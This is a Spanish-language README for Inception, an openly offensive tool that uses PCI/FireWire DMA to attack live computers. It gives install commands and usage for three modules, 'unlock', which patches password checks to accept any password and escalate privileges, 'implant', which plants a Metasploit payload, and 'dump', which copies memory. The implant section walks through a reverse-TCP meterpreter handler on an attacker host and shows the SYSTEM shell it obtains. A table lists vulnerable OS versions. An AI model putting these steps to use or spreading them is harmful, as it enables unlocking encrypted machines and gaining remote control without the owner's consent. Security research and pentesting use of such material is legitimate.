
Inception es una herramienta de manipulación de memoria física y hacking que explota DMA basado en PCI. La herramienta puede atacar a través de FireWire, Thunderbolt, ExpressCard, PC Card y cualquier otra interfaz PCI/PCIe.
Nota: Esta herramienta ya no está en desarrollo activo; por favor, mira PCILeech en su lugar.
Inception es una herramienta de manipulación de memoria física y hacking que explota DMA basado en PCI. La herramienta puede atacar a través de FireWire, Thunderbolt, ExpressCard, PC Card y cualquier otra interfaz HW PCI/PCIe.
Inception pretende proporcionar una forma relativamente rápida, estable, fácil y ampliable de realizar hacks de memoria intrusivos y no intrusivos contra computadoras en vivo mediante DMA.
Los módulos de Inception funcionan de la siguiente manera: al presentar un directorio de unidad Serial Bus Protocol 2 (SBP-2) a la máquina víctima a través de una interfaz IEEE1394 FireWire, el sistema operativo víctima piensa que un dispositivo SBP-2 se ha conectado al puerto FireWire. Dado que los dispositivos SBP-2 utilizan Direct Memory Access (DMA) para transferencias rápidas y grandes de datos en bloque (por ejemplo, discos duros FireWire y videocámaras digitales), la víctima baja sus defensas y habilita DMA para el dispositivo. La herramienta ahora tiene acceso completo de lectura/escritura a los 4 GB inferiores de RAM de la víctima.
Una vez que se concede DMA, la herramienta procede a buscar a través de las páginas de memoria disponibles firmas en ciertos desplazamientos del código del sistema operativo. Una vez encontradas, la herramienta manipula ese código. Por ejemplo, en el módulo unlock, la herramienta cortocircuita el módulo de autenticación de contraseña del sistema operativo que se activa si se introduce una contraseña incorrecta.
Después de ejecutar ese módulo deberías poder iniciar sesión en la máquina víctima usando cualquier contraseña.
Una analogía para esta operación es plantar una idea en la memoria de la máquina; la idea de que toda contraseña es correcta. En otras palabras, el equivalente de un [inception de memoria] 1.
Inception es gratis como la cerveza y un proyecto paralelo mío.
Los expertos forenses del mundo, los gobiernos y las agencias de acrónimos de tres letras ya están usando [herramientas similares] 2. Así que si eres un disidente o te enfrentas a un régimen opresivo, esta herramienta ilustra por qué la OPSEC es importante. Nunca dejes tu portátil fuera de la vista.
[OS X > 10.7.2] 6 y [Windows > 8.1] 7 deshabilitan el DMA de FireWire cuando el usuario ha bloqueado el sistema operativo y, por lo tanto, impiden inception. La herramienta seguirá funcionando mientras un usuario tenga la sesión iniciada. Sin embargo, este es un escenario de ataque menos probable en la vida real (IRL).
Además, [OS X Mavericks > 10.8.2 en Ivy Bridge (>= Macs de 2012)] 8 han habilitado VT-D, bloqueando efectivamente las solicitudes DMA y frustrando todos los módulos de inception incluso cuando el usuario tiene la sesión iniciada. Busca entradas vtd[0] fault en tu registro/consola.
Aunque estas dos advertencias reducirán gradualmente el número de escenarios en los que esta herramienta es útil, a fecha de marzo de 2015 [el 70 % de las máquinas que hay por ahí siguen siendo vulnerables] 9.
La herramienta hace uso de la librería libforensic1394 cortesía de Freddie Witherden bajo una licencia LGPL.
Inception requiere:
Linux es actualmente recomendado en el lado del atacante debido a las interfaces firewire con errores en OS X. Ten en cuenta que ThunderBolt directo a ThunderBolt no funciona, necesitas un adaptador FireWire. Tu experiencia puede variar al intentar usar Thunderbolt en Linux.
En distribuciones basadas en Debian, los comandos de instalación se pueden resumir como (usa sudo según sea necesario si no eres root):
apt-get install git cmake g++ python3 python3-pip
En OS X, puedes instalar los requisitos de la herramienta con [homebrew] 4:
brew install git cmake python3
Después de instalar los requisitos, descarga e instala libforensic1394:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
El script de configuración debería poder instalar las dependencias si tienes pip instalado.
Simplemente escribe:
incept [module name]
Para una descripción más completa y actualizada, por favor ejecuta:
incept -h
o consulta la [página principal de la herramienta] 5.
A partir de la versión 0.4.0, Inception se ha modularizado. A continuación se describen los módulos actuales y su funcionalidad.
Para opciones detalladas sobre el uso, ejecuta:
incept [module name] -h
El módulo unlock puede desbloquear (acepta cualquier contraseña) y escalar privilegios a Administrador/root en casi* cualquier máquina encendida a la que tengas acceso físico. El módulo está pensado principalmente para hacer su magia contra computadoras que utilizan cifrado de disco completo como BitLocker, FileVault, TrueCrypt o Pointsec. Hay muchas otras (y mejores) formas de hackear una máquina que no tiene cifrado.
El módulo unlock es estable en máquinas con 4 GiB de memoria principal o menos. Si el objetivo tiene más que eso, necesitas tener suerte para encontrar las firmas mapeadas a un marco de página de memoria física al que la herramienta pueda acceder.
A partir de esta versión, es capaz de desbloquear los siguientes sistemas operativos x86 y x64:
(1): Ver advertencias anteriores.
Otras distribuciones de Linux que usan autenticación basada en PAM también pueden funcionar usando las firmas de Ubuntu.
El módulo también permite efectivamente la escalada de privilegios, por ejemplo a través de los comandos runas o sudo -s, respectivamente.
Para desbloquear, simplemente escribe:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
El módulo implant implanta un payload (solo memoria) de Metasploit directamente en la memoria volátil de la máquina objetivo. Se integra con MSF a través del daemon msfrpcd que se incluye en todas las versiones de Metasploit.
La versión actual solo funciona como una prueba de concepto contra Windows 7 SP1 x86. No se admiten otros SO, versiones o arquitecturas, ni hay garantía de que se admitan en el futuro.
Para usarlo, inicia msfrpcd:
msfrpcd -P [password]
Luego lanza inception en otra terminal:
incept implant --msfpw [password] --msfopts [options]
Como ejemplo, para crear una shell meterpreter reverse TCP desde la máquina objetivo hacia tu host atacante, primero inicia el daemon msfrpcd y luego lanza una consola escuchando devoluciones de llamada (callbacks).
msfrpcd -P password
msfconsole
En la consola, configuramos el extremo receptor del payload. Establecemos la opción EXITFUNC a thread para asegurar que el proceso objetivo siga vivo si algo sale mal:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
Luego, en otra terminal, lanzamos Inception:
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
x86. No other OSes, versions or architectures are supported, nor is there
any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================> ] 537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================> ] 434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
En tu consola MSF, deberías ver algo similar a esto:
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
El módulo dump facilita el volcado de memoria del objetivo al host atacante.
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
Por favor, consulta los comentarios al principio y la [página principal de la herramienta] 5.
Por favor, consulta la [página principal de la herramienta] 5.
No hagas el mal con esta herramienta. Además, soy pentester, no desarrollador. Así que si ves código raro que molesta tus sentidos de pureza pythonesca, envíame una nota sobre cómo puedo mejorarlo. O mejor aún, haz fork de mi código, cámbialo y envía un pull request.
| OS | Versión | Desbloquear pantalla de bloqueo | Escalar privilegios |
|---|
| Windows 8 | 8.1 | Sí (1) | Sí (1) |
| Windows 8 | 8.0 | Sí | Sí |
| Windows 7 | SP1 | Sí | Sí |
| Windows 7 | SP0 | Sí | Sí |
| Windows Vista | SP2 | Sí | Sí |
| Windows Vista | SP1 | Sí | Sí |
| Windows Vista | SP0 | Sí | Sí |
| Windows XP | SP3 | Sí | Sí |
| Windows XP | SP2 | Sí | Sí |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | Sí (1) | Sí (1) |
| Mac OS X | Mountain Lion | Sí (1) | Sí (1) |
| Mac OS X | Lion | Sí (1) | Sí (1) |
| Mac OS X | Snow Leopard | Sí | Sí |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | Sí | Sí |
| Ubuntu | Raring | Sí | Sí |
| Ubuntu | Quantal | Sí | Sí |
| Ubuntu | Precise | Sí | Sí |
| Ubuntu | Oneiric | Sí | Sí |
| Ubuntu | Natty | Sí | Sí |
| Linux Mint | 13 | Sí | Sí |
| Linux Mint | 12 | Sí | Sí |
| Linux Mint | 12 | Sí | Sí |